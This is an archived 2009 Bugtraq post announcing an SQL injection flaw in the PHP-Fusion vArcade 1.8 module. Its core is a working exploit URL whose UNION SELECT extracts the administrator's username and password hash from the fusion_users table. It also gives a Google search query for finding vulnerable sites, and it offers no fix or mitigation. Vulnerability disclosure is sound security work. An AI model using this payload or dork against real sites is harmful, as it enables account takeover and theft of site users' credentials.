lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Thu, 8 Jan 2009 07:19:08 -0700 From: irancrash@...il.com To: bugtraq@...urityfocus.com Subject: PHP-Fusion Mod vArcade 1.8 Sql Injection Vulnerability ---------------------------------------------------------------- Script : PHP-Fusion Mod vArcade 1.8 Type : Sql Injection Vulnerability Risk : High ---------------------------------------------------------------- Download From : http://venue.nu/ ---------------------------------------------------------------- Discovered by : Khashayar Fereidani My Official Website : HTTP://FEREIDANI.IR Our Team Website : Http://IRCRASH.COM Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com ---------------------------------------------------------------- Sql Injection Vulnerability : Vulnerable address : http://[host]/[path]/infusions/varcade/callcomments.php?comment_id=9999%27+union+select+0,user_name,2,3,4,5,6,user_password+from+fusion_users+where+user_id=1/* Google Dark : inurl:/infusions/varcade/ ---------------------------------------------------------------- Tnx : God HTTP://IRCRASH.COM HTTP://FEREIDANI.IR ----------------------------------------------------------------
Powered by blists - more mailing lists